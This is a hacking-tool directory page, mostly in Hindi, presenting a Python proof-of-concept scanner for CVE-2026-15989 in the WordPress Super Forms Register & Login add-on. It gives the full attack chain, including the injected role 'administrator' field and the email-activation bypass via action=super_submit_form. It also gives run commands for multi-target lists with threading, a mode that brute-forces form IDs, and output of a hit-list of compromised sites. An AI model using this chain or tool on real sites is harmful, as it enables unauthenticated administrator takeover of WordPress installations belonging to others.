Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-15989 — CVE-2026-15989 के लिए Python PoC स्कैनर, जो WordPress Super Forms में अनधिकृत भूमिका इंजेक्शन का उपयोग करके एडमिन खाते बनाता है और पहुँच सत्यापित करता है। | Kitploit
उपकरण/GitHubGitHub/antid00t/cve-2026-15989
विशेषाधिकार वृद्धिभेद्यता स्कैनरपासवर्ड हमलेशोषणस्क्रिप्टिंग और स्वचालनवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubantid00t/cve-2026-15989

CVE-2026-15989

CVE-2026-15989 के लिए Python PoC स्कैनर, जो WordPress Super Forms में अनधिकृत भूमिका इंजेक्शन का उपयोग करके एडमिन खाते बनाता है और पहुँच सत्यापित करता है।

14घं 20मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
                  █████╗  ███╗   ██╗ ████████╗ ██╗ ██████╗   ██████╗   ██████╗  ████████╗
                 ██╔══██╗ ████╗  ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝
              ███████║ ██╔██╗ ██║    ██║    ██║ ██║  ██║ ██║██╔██║ ██║██╔██║    ██║
              ██╔══██║ ██║╚██╗██║    ██║    ██║ ██║  ██║ ████╔╝██║ ████╔╝██║    ██║
              ██║  ██║ ██║ ╚████║    ██║    ██║ ██████╔╝ ╚██████╔╝ ╚██████╔╝    ██║
              ╚═╝  ╚═╝ ╚═╝  ╚═══╝    ╚═╝    ╚═╝ ╚═════╝   ╚═════╝   ╚═════╝     ╚═╝

💉 Super Forms — मल्टी-लैब PrivEsc स्कैनर

CVE-2026-15989 · अनधिकृत एडमिन अकाउंट निर्माण

                                       » E X P L O I T S «

Python 3.8+ CVSS 9.8 CRITICAL WordPress Engine Banner style Telegram

🔥 फिंगरप्रिंट-मुक्त ऑटो-डिस्कवरी · वैलिडेशन-जागरूक पेलोड · शून्य प्रमाणीकरण · ईमानदार वर्गीकरण

screen02


🎯 लक्ष्य

WordPress प्लगइनSuper Forms – Drag & Drop Form Builder (Register & Login ऐड-ऑन)
प्रभावित संस्करण<= 6.3.316
पैच किया गया संस्करण6.3.317
प्रमाणीकरण❌ किसी की आवश्यकता नहीं — कोई भी प्रकाशित पंजीकरण फ़ॉर्म पर्याप्त है
CVSS9.8 CRITICAL

⚡ चेन्स

👑 CVE-2026-15989 — व्हाइटलिस्टेड role कुंजी → एडमिनिस्ट्रेटर निर्माण
GET admin-ajax.php?action=super_create_nonce ──► _sfs_id session + sf_nonce
        │
POST admin-ajax.php  action=super_submit_form  data=<JSON>
        │
      before_email_success_msg()  (Register & Login add-on)
        │
$other_userdata = array( ..., 'role', ... )   ◄── client key whitelisted
        │
$data['role']['value']  ──►  $userdata['role']   (register_user_role overwritten)
        │
wp_insert_user()  ──►  🔥 administrator account, zero authentication

ऐड-ऑन $data['role']['value'] को सीधे user-data array में कॉपी करता है, बिना इसे एडमिन-कॉन्फ़िगर किए गए register_user_role के विरुद्ध सत्यापित किए, बिना किसी allow-list के और बिना किसी capability जाँच के — एक ही इंजेक्ट किया गया "role": {"value":"administrator"} फ़ील्ड जीत जाता है।

🎟️ लॉगिन प्रमाण — एक्टिवेशन-गेट बायपास
POST wp-login.php   log / pwd / testcookie
        │                    + action=super_submit_form   ◄── the magic field
        │
check_user_login_status()  ──► pending/blocked gate SKIPPED
        │
GET /wp-admin/users.php
        │
200 = administrator proven  ·  403 = subscriber (patched build)

ऐड-ऑन अपने email-activation / moderation गेट को केवल तब लागू करता है जब POST action super_submit_form न हो — इसलिए वही फ़ॉर्म action जो उपयोगकर्ता को पंजीकृत करता है, उसमें लॉगिन करने को भी अनलॉक कर देता है, किसी भी ईमेल सत्यापन से पहले।

🧨 FULL मोड — दो-चरणीय फ़ॉर्म-ID ब्रूट (फिंगरप्रिंटिंग की आवश्यकता नहीं)
discovery empty (REST · sitemap · links · ?page_id probe)
        │
PHASE 1 — form-ID sweep 1..50, minimal payload, OWN SESSION PER ID
        │                       (shared sessions would invalidate each nonce)
        │
'required fields' reject ──► PHASE 2 — REST markup fetch ──► full payload retry
        │
every accepted candidate ──► login proof per id
        │
contact form? ──► UNVERIFIED (never a false positive)
registration? ──► 👑 verified administrator

गैर-पंजीकरण फ़ॉर्म भी error:false उत्तर देते हैं, इसलिए प्रत्येक स्वीकृत id केवल एक उम्मीदवार है जब तक क्रेडेंशियल को वास्तविक लॉगिन से सिद्ध न किया जाए।

🚀 त्वरित शुरुआत

# zero dependencies — pure Python 3 stdlib (rich is optional, for the console)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt

# tuned concurrency / timeout
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt

# FULL MODE: discovery + role injection + login proof + form-ID brute (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt

labs.txt — प्रति पंक्ति एक बेस URL:

http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab        # self-signed TLS is handled automatically
# comments and blank lines are ignored

🛠️ विकल्प

विकल्पविवरण
--list FILEलक्ष्य फ़ाइल — प्रति पंक्ति एक URL (आवश्यक)
--output, -o FILEहिट-लिस्ट — केवल VULNERABLE लक्ष्य लाइव लिखे जाते हैं (ANSI-मुक्त)
--threads Nसमवर्ती लक्ष्य वर्कर (डिफ़ॉल्ट 10)
--timeout Nप्रति-अनुरोध सॉकेट टाइमआउट सेकंड में (डिफ़ॉल्ट 10)
--fullपूरी चेन चलाएँ — फ़ॉर्म-ID ब्रूट फ़ॉलबैक जोड़ता है (कमज़ोर लक्ष्यों पर अकाउंट बनेंगे)

🧾 परिणाम स्थितियाँ

स्थितिअर्थ
VULNERABLEअकाउंट बनाया गया और wp-admin एडमिनिस्ट्रेटर एक्सेस सिद्ध (200)
NOT-VULNERABLEलॉगिन ठीक लेकिन एडमिन पेज 403 — role अनदेखा → पैच किया गया बिल्ड
UNVERIFIEDसबमिशन स्वीकृत लेकिन लॉगिन अस्वीकृत (लॉक/पेंडिंग अकाउंट या गैर-पंजीकरण फ़ॉर्म) — कभी भी मौन गलत सकारात्मक के रूप में रिपोर्ट नहीं किया जाता
BLOCKEDसबमिशन अस्वीकृत (reCAPTCHA, CSRF, आवश्यक फ़ील्ड, honeypot…)
ERRORअगम्य लक्ष्य / DNS विफलता — सटीक कारण के साथ रिपोर्ट किया गया

✨ विशेषताएँ

  • 🔍 फिंगरप्रिंट-मुक्त ऑटो-डिस्कवरी — REST रेंडर की गई सामग्री (wp-json + ?rest_route= फ़ॉलबैक) → sitemap इंडेक्स → 40+ बहु-भाषी पंजीकरण पथ (/register, /kayit-ol, /registrieren…) → ?page_id=N प्रोब; किसी भी थीम, पेज बिल्डर और परमालिंक शैली के साथ काम करता है
  • 🧬 वैलिडेशन-जागरूक पेलोड संश्लेषण — प्रत्येक रेंडर किया गया फ़ील्ड ब्राउज़र की तरह स्वतः भरा जाता है: अपने डिफ़ॉल्ट, textarea सामग्री, dropdown/checkbox/radio विकल्प, data-validation प्रकार (email, number, date, time, phone, IBAN, color, URL)
  • 🎟️ स्वचालित CSRF — nopriv super_create_nonce जो _sfs_id सत्र से बंधा है; ब्रूट प्रयासों को अपना स्वयं का सत्र मिलता है ताकि nonces एक-दूसरे को अमान्य न करें
  • 👑 ईमानदार वर्गीकरण — VULNERABLE केवल तब जब wp-admin एक्सेस सिद्ध हो; पैच किए गए बिल्ड 403 प्रोब द्वारा अलग किए जाते हैं; लॉक किए गए अकाउंट UNVERIFIED के रूप में सामने आते हैं
  • 🥷 एक्टिवेशन-गेट बायपास — लॉगिन प्रमाण में action=super_submit_form होता है, जो ऐड-ऑन के email-verification / moderation गेट को छोड़ देता है
  • 🧨 FULL मोड — प्रति-id लॉगिन प्रमाण के साथ दो-चरणीय फ़ॉर्म-ID ब्रूट (संपर्क फ़ॉर्म कभी गलत सकारात्मक नहीं हो सकते)
  • 🛡️ URL हार्डनिंग — थीम टेम्पलेट लिंक ({{ data.url }}), नियंत्रण वर्ण और IDN/तुर्की-स्लग होस्ट स्वतः साफ़ किए जाते हैं
  • 📁 स्वच्छ हिट-लिस्ट — --output केवल पुष्ट लक्ष्य रिकॉर्ड करता है, लाइव जोड़े जाते हैं, हमेशा सादा टेक्स्ट (grep/parse अनुकूल)
  • 📊 Rich कंसोल — antid00t-शैली ANSI Shadow बैनर, लाइव स्कोरबोर्ड, सारांश तालिका; rich के बिना सुंदर सादा-टेक्स्ट फ़ॉलबैक
  • 🐍 शून्य निर्भरताएँ — शुद्ध Python 3 stdlib (rich वैकल्पिक आँखों की मिठाई है)

📋 आवश्यकताएँ

टूल डाउनलोड करें